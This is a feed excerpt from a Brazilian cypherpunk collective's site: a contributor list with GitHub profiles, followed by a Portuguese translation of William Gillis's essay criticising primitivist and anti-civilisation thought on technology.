&lt;p>Somos um grupo de pessoas (e robôs) interessados em criptologia, criptomoedas, protocolos, segurança, privacidade, comunicações seguras e formas de tornar o mundo um lugar mais livre. Traduzimos documentos históricos relacionados ao movimento cypherpunk. Escrevemos os nossos próprios artigos, evangelizamos pessoas, ensinamos o que sabemos sobre tecnologia e agorismo, escrevemos programas que ajudem a tornar nossas comunicações mais seguras e livres, realizamos encontros presenciais e mais.&lt;/p>
&lt;hr>
&lt;h1 id="contribuidores">Contribuidores&lt;/h1>
&lt;h5 id="mentes-que-dedicaram-tempo-esforço-e-comprometimento-para-tornar-o-projeto-possível">Mentes que dedicaram tempo, esforço e comprometimento para tornar o projeto possível&lt;/h5>
&lt;!DOCTYPE HTML>
&lt;div class="">
&lt;div class="all-contributors text-center">
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/AvelinoMorganti">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de AvelinoMorganti" src="https://avatars.githubusercontent.com/u/3002620?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">AvelinoMorganti&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/jeffesonjp">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de jeffesonjp" src="https://avatars.githubusercontent.com/u/22578659?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">jeffesonjp&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/matheusbach">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de Matheus Bach" src="https://avatars.githubusercontent.com/u/35426162?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">Matheus Bach&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/viniciusyaunner">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de viniciusyaunner" src="https://avatars.githubusercontent.com/u/29731633?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">viniciusyaunner&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/tipretin">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de tipretin" src="https://avatars.githubusercontent.com/u/90706625?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">tipretin&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/k3ybladewielder">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de k3ybladewielder" src="https://avatars.githubusercontent.com/u/50303964?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">k3ybladewielder&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/lsprdev">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de lsprdev" src="https://avatars.githubusercontent.com/u/56761360?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">lsprdev&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/r3ck">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de r3ck" src="https://avatars.githubusercontent.com/u/20272926?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">r3ck&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/yuricwe">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de yuricwe" src="https://avatars.githubusercontent.com/u/64608478?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">yuricwe&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/steffandsv">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de steffandsv" src="https://avatars.githubusercontent.com/u/20055824?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">steffandsv&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/Z33DD">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de Z33DD" src="https://avatars.githubusercontent.com/u/22871555?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">Z33DD&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/dav1app">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de dependabot[bot]" src="https://avatars.githubusercontent.com/u/3607502?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">dav1app&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/apps/dependabot">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de dependabot[bot]" src="https://avatars.githubusercontent.com/in/29110?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">dependabot[bot]&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/6f7a79">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de 6f7a79" src="https://avatars.githubusercontent.com/u/20718934?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">6f7a79&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/henur">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de henur" src="https://avatars.githubusercontent.com/u/16871332?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">henur&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/aferreira44">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de aferreira44" src="https://avatars.githubusercontent.com/u/28768905?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">aferreira44&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/iraamaro">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de iraamaro" src="https://avatars.githubusercontent.com/u/40754811?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">iraamaro&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/marcosmmb">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de marcosmmb" src="https://avatars.githubusercontent.com/u/6181089?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">marcosmmb&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/BrunoLanconi">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de BrunoLanconi" src="https://avatars.githubusercontent.com/u/46814861?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">BrunoLanconi&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/buguno">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de buguno" src="https://avatars.githubusercontent.com/u/28723539?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">buguno&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/lucaslopes">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de lucaslopes" src="https://avatars.githubusercontent.com/u/8731439?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">lucaslopes&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/MarlonX19">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de MarlonX19" src="https://avatars.githubusercontent.com/u/31692159?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">MarlonX19&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/acce1a">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de acce1a" src="https://avatars.githubusercontent.com/u/44755913?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">acce1a&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/Iann-Zorkot">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de Iann-Zorkot" src="https://avatars.githubusercontent.com/u/78239166?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">Iann-Zorkot&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/SparK-Cruz">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de SparK-Cruz" src="https://avatars.githubusercontent.com/u/1179000?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">SparK-Cruz&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://github.com/deepchaos">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de deepchaos" src="https://avatars.githubusercontent.com/u/44310183?v=4" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">deepchaos&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://twitter.com/daniel_miorim">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de Daniel Miorim" src="https://pbs.twimg.com/profile_images/1526326636353839104/ywaZaBUi_400x400.jpg" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">Daniel Miorim&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="https://bitnoticias.com.br/author/leonardobjahn/">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de Leonardo Broering Jahn" src="https://media-exp1.licdn.com/dms/image/C4E03AQEbpliFDs3FHQ/profile-displayphoto-shrink_200_200/0/1640009207661?e=2147483647&amp;v=beta&amp;t=BOo-sWz-rxK6TI_QJYIl9-sxK-qW1yU4gNmZE0QNUIE" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">Leonardo Broering Jahn&lt;/p>
&lt;/div>
&lt;/a>
&lt;a class="link-contributors" target="_blank" rel="noopener noreferrer" href="">
&lt;div class="text-center profile-contributors">
&lt;img class="img-contributor" alt="Imagem de Caio Forne" src="https://i.ibb.co/RpTNgCZ0/photo-2025-10-18-15-21-52.webp" />
&lt;hr class="hr text-center" />
&lt;p class="name-contributor">Caio Forne&lt;/p>
&lt;/div>
&lt;/a>
&lt;/div>
&lt;/div>
&lt;h5 id="-faltou-você-aqui-gostaria-de-tirar-o-seu-fale-com-usedel22httpstmeuserdel22-matheus_bachhttpstmematheus_bach-ou-em-nosso-grupo-no-telegramhttpstmecypherpunksbrasil431-">⊕ Faltou você aqui? Gostaria de tirar o seu? fale com &lt;a href="https://t.me/userdel22" target="_blank" rel="noopener noreferrer">@usedel22&lt;/a>
, &lt;a href="https://t.me/matheus_bach" target="_blank" rel="noopener noreferrer">@matheus_bach&lt;/a>
ou em nosso &lt;a href="https://t.me/CypherpunksBrasil/431" target="_blank" rel="noopener noreferrer">grupo no telegram&lt;/a>
. ⊕&lt;/h5></content:encoded></item><item><title>Uma Crítica Rápida e Direta ao Pensamento Primitivista e *Anti-civ*</title><link>https://cypherpunks.com.br/documentos/uma-critica-rapida-e-direta-ao-pensamento-primitivista-e-anti_civ/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/uma-critica-rapida-e-direta-ao-pensamento-primitivista-e-anti_civ/</guid><description>Uma análise crítica do pensamento primitivista e anti-civilização, explorando suas falhas teóricas e práticas, e propondo uma abordagem mais construtiva em relação à tecnologia.</description><content:encoded>&lt;hr>
&lt;pre tabindex="0">&lt;code>Traduzido por: Caio Forne
Revisado por: Matheus Bach
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="willian-gillis">Willian Gillis&lt;/h3>
&lt;h2 id="introdução">Introdução&lt;/h2>
&lt;p>Quando eu tinha seis anos, o meu pai anarquista me contrabandeou uma cópia de Jurassic Park, apesar das proibições da minha mãe. “Quando você souber ler, pode ler&amp;quot;, ele disse, e em menos de um ano eu não apenas tinha aprendido cada palavra, como também já havia lido minha cópia gasta de cabo a rabo dezenas de vezes nas esperas entediantes em abrigos para sem-teto, cozinhas comunitárias e postos da assistência social. Cercado por uma distopia suja de concreto, eu lia, de olhos arregalados, a personagem Cassandra denunciar sistemas rígidos de controle como propensos a retornos decrescentes e à catástrofe inevitável — e descrever como caçadores-coletores trabalhavam muito menos e se divertiam bem mais. Eu estava viciado. Entre acampamentos sobrevivencialistas de fim de semana e panfletos do Zerzan na livraria de usados, o primitivismo me deu ótima munição contra a miríade de tiranias que poluíam a minha existência, da escola primária às esquinas da pobreza. “Essas também cairão”, eu me contentava. Eu brincava na pequena floresta atrás dos projetos governamentais de moradia em que depois começamos a morar, e detestava a corrupção que havia se infiltrado. Eu pegava concreto e quebrava janelas de carros com meus amigos.&lt;/p>
&lt;p>Mas, principalmente, eu continuei a ler.&lt;/p>
&lt;p>E gradualmente, lentamente, eu comecei a reconhecer outras dinâmicas envolvidas, outras possibilidades, e críticas ao poder mais sólidas ou embasadas. As afirmações de John e companhia começaram a azedar. Eu ia percebendo que elas eram menos e menos fundamentadas, bem definidas, ou completas. E, conforme os pontos com que eu concordava iam sendo colocados com uma retórica cada vez mais desonesta ou oportunista, eu me sentia traído. Eu comecei a conscientemente romper com o primitivismo enquanto lutava nas ruas de Seattle em 1999. Eu me tornei muito audacioso pra me contentar com os limitados valores, planos e estratégias do primitivismo, e era evidente que não haveria volta.&lt;/p>
&lt;p>O mesmo amor insaciável pelo universo natural que fez com que eu me apaixonasse pelas florestas de Cascadia, acabou me levando à física teórica. E quando me lembro do primitivismo o que eu vejo agora nunca pareceu tão frio e irreconhecível. Uns caras gargalhando e incentivando a morte de bilhões. Anti-intelectualismo aberto e argumentos inacreditavelmente ruins. Sistemas morais grosseiros, bem como más interpretações de registros antropológicos e arqueológicos. Claro que há exceções — de vez em quando aparece alguém intelectualmente atento, analítico e sincero, cansado e fazendo o seu plano B. Mas o Primitivismo como um todo? Não consigo ver como o surgimento de cultos pseudo-Maoístas autoritários, o John se refugiando para abraçar abertamente o ‘espiritualismo’, e os idiotas assassinos que acham que jogar a palavra ‘modernismo’ serve como argumento, possam estar desconectados da podridão de fundo.&lt;/p>
&lt;p>Eu escrevi sobre esse assunto uma década atrás[1], mas o meu confronto foi direcionado às formulações teóricas do primitivismo que eu achei mais essenciais na época. Por algum motivo – e talvez para pior – a maioria dessas correntes desde então se extinguiram. Hoje o panorama é ainda mais ideologicamente fraturado e muitos regrediram a um nebuloso posicionamento “&lt;em>anti-civ&lt;/em>” que herda a maior parte da estrutura primitivista enquanto se mantém vaga o suficiente para se esquivar da maioria das críticas. Mas ao mesmo tempo que aqueles que se identificam como &lt;em>anti-civ&lt;/em> podem romper individualmente com alguns aspectos do primitivismo, sem nenhuma das estruturas ou narrativas do primitivismo, não seria possível um posicionamento &lt;em>anti-civ&lt;/em>.&lt;/p>
&lt;p>Fundamental ao próprio termo “&lt;em>anti-civ&lt;/em>” é uma noção ampla de “civilização” que é intensamente problemática e serve para narrativas muito simplistas. O primitivismo é cheio deste tipo de acenos irreducionistas que sonham com grandes monstros a partir de associações vagas e dão a eles a agência de forças mágicas que atuam na macroescala, moldando cada pormenor. Seguindo uma abordagem que Ellul chamou abertamente de “monismo”, o primitivismo se recusa a considerar esses fantasmas separadamente, a reconhecer qualquer conflito ou amplitude na configuração de suas dinâmicas constituintes. Tudo é visto como inextricavelmente tecido num todo que age de acordo com uma narrativa simples. Uma tal forma conspiratória de pensar é basicamente só dobrar a aposta no Marxismo, substituindo “capitalismo” por monstros ainda mais amplos e mais abstratos, “tecnologia” e “civilização”. Esses contos geralmente são explicitamente anti-radicais no seu desdém por chegar nas raízes da questão.&lt;/p>
&lt;p>Essa tendência reacionária leva ao nivelamento de apelos normativos em termos de noções macroscópicas amplas ou ondas de intuição ao invés de argumentos éticos concretamente embasados. Primitivismo é mais uma história do que uma análise. E para funcionar ele assim requer uma poda de complicações, nunca pesquisando para além do quadro teórico ou dos termos da narrativa macroscópica. Ele alegremente coleta pilhas convenientes de factoides, alegações, e até pontos concretos. Mas já que o que mais importa são as noções amplas, qualquer crítica específica que alguém possa fazer a alguma dada afirmação é facilmente desviada com novas afirmações. Enfrentar o primitivismo efetivamente primeiro requer adentrar o nível de generalidade em que ele opera – criticando classes, categorias, ou tipos de argumentos dentro do discurso primitivista para não deixar espaço para recuo, para encurralar qualquer argumento específico de todos os lados. Só depois disso podemos entrar nos detalhes sobre as possibilidades e dinâmicas de inúmeras questões particulares, como a mineração de coltan.&lt;/p>
&lt;h2 id="tecnologia">Tecnologia&lt;/h2>
&lt;p>A definição convencional de tecnologia é basicamente “jeitos de fazer coisas”. E então isso inclui linguagem, conhecimento, equações, táticas, heurística, ferramentas, e até mesmo os nossos corpos. Qualquer meio ou caminho possível pelo qual alguém pode agir ou conseguir alguma coisa.&lt;/p>
&lt;p>Porém no uso comum “tecnologia” acabou acumulando associações mais fortes com um subconjunto destes meios – iPods e escavadeiras ao invés de exercícios de balé ou cordas vocais. Essa “tecnologia” é um estranho pacote de coisas, mais uma estética de objetos físicos do que qualquer coisa substancial. A coisa é cinza? Tem metal nela? Tem quinas?&lt;/p>
&lt;p>Existem muitos novos meios que se desenvolveram desde a industrialização, mas pessoas comuns não tendem a se referir a quadros brancos ou yoga como “tecnologias”. Ao invés disso, há uma narrativa muito específica de progresso que é amplamente vendida para nós pelos nossos governantes e ela coloca coisas como notebooks e carros como o ápice de todas as tecnologias – ao ponto de que outros meios de fazer as coisas são implicitamente ridicularizados. Da mesma forma embora “máquina” possa significar praticamente qualquer coisa com subdinâmicas perceptíveis que usam energia para fazer coisas, nós não tendemos a considerar patos-reais ou arminhas de água como “máquinas”. Existe uma teleologia implícita contida na forma com que usamos esses termos.&lt;/p>
&lt;p>Primitivistas frequentemente usam essa noção ou narrativa mais vaga como seu ponto de partida ao invés da definição mais ampla porém mais concreta. E eles buscaram diferentes definições de tecnologia ao lado de diferentes análises para testar e explicar melhor essas associações. Mas eu não tenho certeza de que em última análise existe qualquer coerência ou conteúdo no viés popular no nosso uso. Há um senso de que nós “identificamos a tecnologia quando a vemos” e ainda assim isso parece apelar para nada mais do que uma corrente estética de uma linhagem bastante aleatória. A noção popular é arbitrária de várias maneiras que estão se tornando cada vez mais inescapáveis e parece mesmo que não temos escolha a não ser largá-la em prol da mais precisa e embasada – ainda que mais ampla – definição de meios (algo que é impossível de rejeitar totalmente sem rejeitar toda liberdade para agir).&lt;/p>
&lt;p>Ao passo que pensadores específicos construíram estruturas específicas de afirmações, em geral eles tendem a seguir duas abordagens distintas ao desenvolver definições alternativas de “tecnologia” que são mais estreitas do que “ferramentas” ou “meios”. Esses dois loci de definições alternativas ainda são bastante influentes ao pensamento &lt;em>anti-civ&lt;/em>, e examiná-los é altamente ilustrativo.&lt;/p>
&lt;h3 id="rigidez">Rigidez&lt;/h3>
&lt;p>A primeira dessas abordagens para definir “tecnologia” é apelar à intuição, popular em nossa época, de uma dicotomia entre seres vivos e não-vivos.&lt;/p>
&lt;p>Algumas coisas são “vivas”, outras coisas não são. Isso é uma regra prática comum e biólogos pelo menos por algum tempo se esforçaram para fazer disso uma taxonomia precisa. Mas a categoria de “vivo” é uma intuição notoriamente problemática e provavelmente sem sentido (os vírus têm vida? Príons? E as estrelas? Por que não deveríamos interpretar que cristais e pedras têm vida? Onde os limites entre organismos deveriam ser estabelecidos? Entre eles e seu meio ambiente?)&lt;/p>
&lt;p>Por outro lado, ao contrário de “vivo”, há esperança de que a nossa noção de “orgânico” possa realmente ser preservada. Podemos às vezes fazer uma distinção substancial, que considera flexibilidade ou fluidez, e rigidez ou fragilidade. E certamente estruturas desenvolvidas estupidamente como estradas e carros são extremamente rígidas e frágeis. Nós sempre tivemos mais tecnologias orgânicas, mas é certamente verdade que tem havido pressões notáveis por tecnologias excessivamente rígidas, particularmente na era industrial. A maior parte do que é invocado pelo termo “civilização industrial” são enormes projetos de infraestrutura e operações de pouca ou nenhuma adaptabilidade. O capitalismo moderno depende da ausência de sinais dinâmicos de preço e redistribuição; grandes e imponentes instituições políticas e econômicas dependem de rigidez, a manutenção perpétua de certas condições, de forma que elas não precisem calcular nem se ajustar a condições mutáveis, sejam elas ecológicas ou humanas. E somas inacreditáveis de violência e energia humana foram gastos para manter certas condições arbitrárias – demanda, preço, etc. A rigidez de grandes projetos de infraestrutura como o sistema rodoviário, os diversos subsídios de combustíveis fósseis, etc, dão suporte a essa paisagem social. Rigidez é certamente típica de qualquer sistema propício a relações de poder, e quanto mais rígido mais potencialmente frágil.&lt;/p>
&lt;p>É fácil associar isso às engrenagens e à argamassa simples e rígidas das primeiras fábricas industriais. Quando dizemos que algo é “frio e mecânico” o que queremos dizer geralmente é que ele é rígido e tem uma estrutura excessivamente simples ao invés de ser ricamente complexo, envolvente e adaptativo.&lt;/p>
&lt;p>Ainda assim a esmagadora tendência nos dias de hoje – mesmo que seja tarde demais – é a de fazer com que as nossas ferramentas sejam mais fluidamente reconfiguráveis. Computação de uso geral sempre foi no fundo uma tentativa de escapar da rigidez dos mecanismos de configuração única. E agora o grande movimento é fazer com que o hardware dos computadores e outras ferramentas seja mais fluido tanto nas suas funcionalidades quanto na sua composição. De forma que possamos construí-los ou desfazê-los e reconstruí-los instantaneamente em nossa garagem ou &lt;em>hackerspace&lt;/em> local de formas mais descentralizadas e “faça você mesmo”.&lt;/p>
&lt;p>Da mesma forma o impulso primitivista para fazer oposição à biotecnologia não combina, em última análise, com uma definição de tecnologia enquanto rigidez. Apesar de os seres humanos sempre terem usado biotecnologia desde o cultivo de plantas muito antes da agricultura até o enxerto de árvores, desenvolvimentos recentes nos deram muito mais conhecimento e amplitude sobre como reconfigurar sistemas biológicos, incluindo coisas como &lt;em>biohackers&lt;/em> anarquistas fazendo com que leveduras produzam proteínas essenciais do queijo sem escravizar vacas. Embora algumas empresas multinacionais possam sem dúvida encorajar seus engenheiros e tecnólogos a abordar a biotecnologia de uma perspectiva rígida – desajeitadamente costurando genes aleatórios com pouquíssimo conhecimento ou apreciação por muito contexto para além da imediata tentativa e erro – muitas claramente não fazem isso. Existe um problema profundo aqui: Mais graus de liberdade na manipulação e reconfiguração – na ação – é a definição de fluidez orgânica, então de maneira nada trivial nosso ímpeto de entender melhor as coisas e de ter mais meios de fazer as coisas é em última análise uma pressão por mais ferramentas orgânicas. O desenvolvimento tecnológico – no sentido de invenções que expandem nosso conjunto de ferramentas a serem escolhidas – pode claramente ser alinhado numa direção positiva. De fato, quando tecnologias mais velhas ou mais simples não são fortemente pisadas por estruturas de poder e novas tecnologias não são censuradas ou filtradas, qualquer nova invenção agrega ao conjunto de meios possíveis que temos, e assim inerentemente expande a fluidez das nossas opções.&lt;/p>
&lt;p>Seguindo esse argumento até o fim, sinceramente, a conclusão seria a de que nós precisamos de ecossistemas de ferramentas mais amplos e diversos, não menores. De fato é possível rapidamente perceber que o pecado da rigidez de nossa infraestrutura e dos nossos sistemas sociais é a forma com que eles suprimem florescimento tecnológico.&lt;/p>
&lt;h3 id="complexidade">Complexidade&lt;/h3>
&lt;p>Porém a segunda maior abordagem primitivista para definir “tecnologia” é à primeira vista quase o exato oposto da dicotomia orgânico/inorgânico: Nessa lente o que é focado como problema é a complexidade de várias ferramentas e as infraestruturas ou o contexto social em que elas estão inseridas.&lt;/p>
&lt;p>A propósito: eu sou velho o suficiente para me lembrar de quando a primária crítica anarquista verde à nossa tecnologia era a de que ela era muito simples ou entediante e exigia muito foco rígido (aquela época tinha todo tipo de slogans zoados como “apenas as máquinas não têm TDAH” ou “a civilização está nos tornando autistas” que nunca colariam hoje em dia). Na última década é claro o script se inverteu quase completamente; agora a “tecnologia” é frequentemente atacada por ser inerentemente muito envolvente, muito complexa, e muito sem foco. Em vez de desligar a mente na frente da TV agora estamos rapidamente indo e voltando entre a wikipédia e mensagens de texto nos nossos celulares. Certamente ambas as atitudes representam uma resistência significativa contra tendências reais nas ferramentas e nas normas de suas épocas, mas o salto de definir tecnologia “inerentemente” nesses termos é um pouco frustrante.&lt;/p>
&lt;p>No entanto existe algum fundamento nas críticas à complexidade dos sistemas que usamos. Cérebros humanos são surpreendentemente complexos e muito maleáveis, mas existem limites arquitetônicos ao que nós conseguimos processar ou manter sob atenção consciente, isso sem falar da velocidade desse processamento. Todos nós já experimentamos interfaces ruins, muito bagunçadas em um aplicativo ou até apresentações pedagógicas ruins de um assunto que exige uma enorme reconfiguração mental nos nossos cérebros para que seja processado. Às vezes isso pode ser como um alongamento mental — em alguns contextos um exercício saudável, em outros algo apenas neutro ou irrelevante. Mas às vezes realmente entender ou diligentemente se envolver num sistema está para além da nossa capacidade cognitiva atual – e às vezes é até para além de qualquer supercomputador viável. As ferramentas criptográficas que foram um sucesso vertiginoso na luta contra a Agência de Segurança Nacional dos Estados Unidos apenas são possíveis por causa de limites computacionais inescapáveis embutidos no nosso universo pela matemática e pela física. Se criarmos um sistema suficientemente complexo, ele estará para além da capacidade de qualquer autoridade central ou supercomputador de compreendê-lo completamente, muito menos controlá-lo. Em muitos aspectos isso se aplica à nossa sociedade atual.&lt;/p>
&lt;p>Um bordão comum no discurso &lt;em>anti-civ&lt;/em> é o de que sociedades de larga escala são antinaturais e impraticáveis porque nós não podemos conhecer todo mundo da mesma forma que poderíamos em pequenas tribos. Os relacionamentos e dramas interpessoais em jogo numa tribo de umas cem pessoas podem ser complexos, mas quando se trata de milhares ou milhões, torna-se impossível. Isso é verdade, mas é mais uma observação sobre os limites da nossa capacidade de processamento social do que uma crítica à tecnologia. É uma questão de escala, não de tipo.&lt;/p>
&lt;p>O problema não é a tecnologia em si, mas a forma como ela é usada e a escala em que é aplicada. Em vez de rejeitar a tecnologia, deveríamos buscar formas de usá-la para criar sistemas mais flexíveis, adaptáveis e descentralizados. A complexidade pode ser uma vantagem quando usada para proteger a privacidade e a liberdade individual, como no caso das ferramentas criptográficas.&lt;/p>
&lt;p>O primitivismo, ao focar na rejeição da tecnologia e da civilização, perde de vista as oportunidades de usar a tecnologia para alcançar objetivos anarquistas. Em vez de buscar um retorno a um passado idealizado, deveríamos nos concentrar em construir um futuro onde a tecnologia seja uma ferramenta para a libertação, não para a dominação.&lt;/p>
&lt;h2 id="conclusão">Conclusão&lt;/h2>
&lt;p>O pensamento primitivista e &lt;em>anti-civ&lt;/em>, embora bem-intencionado em sua crítica à civilização industrial, falha em oferecer uma análise coerente e soluções práticas. Sua dependência de noções vagas e irreducionistas de &amp;ldquo;tecnologia&amp;rdquo; e &amp;ldquo;civilização&amp;rdquo; leva a uma visão simplista e reacionária. Em vez de rejeitar a tecnologia, devemos buscar formas de usá-la para criar um mundo mais livre e justo.&lt;/p>
&lt;p>O verdadeiro desafio não é abandonar a tecnologia, mas sim transformá-la em uma ferramenta para a libertação, em vez de dominação. Isso exige uma compreensão mais profunda da tecnologia e de suas implicações, bem como um compromisso com a criação de sistemas que respeitem a autonomia individual e a diversidade ecológica.&lt;/p>
&lt;p>O futuro não está em um retorno a um passado idealizado, mas em um avanço em direção a um mundo onde a tecnologia seja usada para empoderar as pessoas e proteger o planeta.&lt;/p>
&lt;h2 id="notas">Notas&lt;/h2>
&lt;p>[1] A referência original do autor foi mencionada no texto. Para mais detalhes, consulte a publicação original de William Gillis.&lt;/p>
&lt;h2 id="referências">Referências&lt;/h2>
&lt;p>Original: &lt;a href="https://theanarchistlibrary.org/library/william-gillis-a-quick-and-dirty-critique-of-primitivist-*anti-civ*-thought" target="_blank" rel="noopener noreferrer">https://theanarchistlibrary.org/library/william-gillis-a-quick-and-dirty-critique-of-primitivist-&lt;em>anti-civ&lt;/em>-thought&lt;/a>
&lt;/p></content:encoded></item></channel></rss>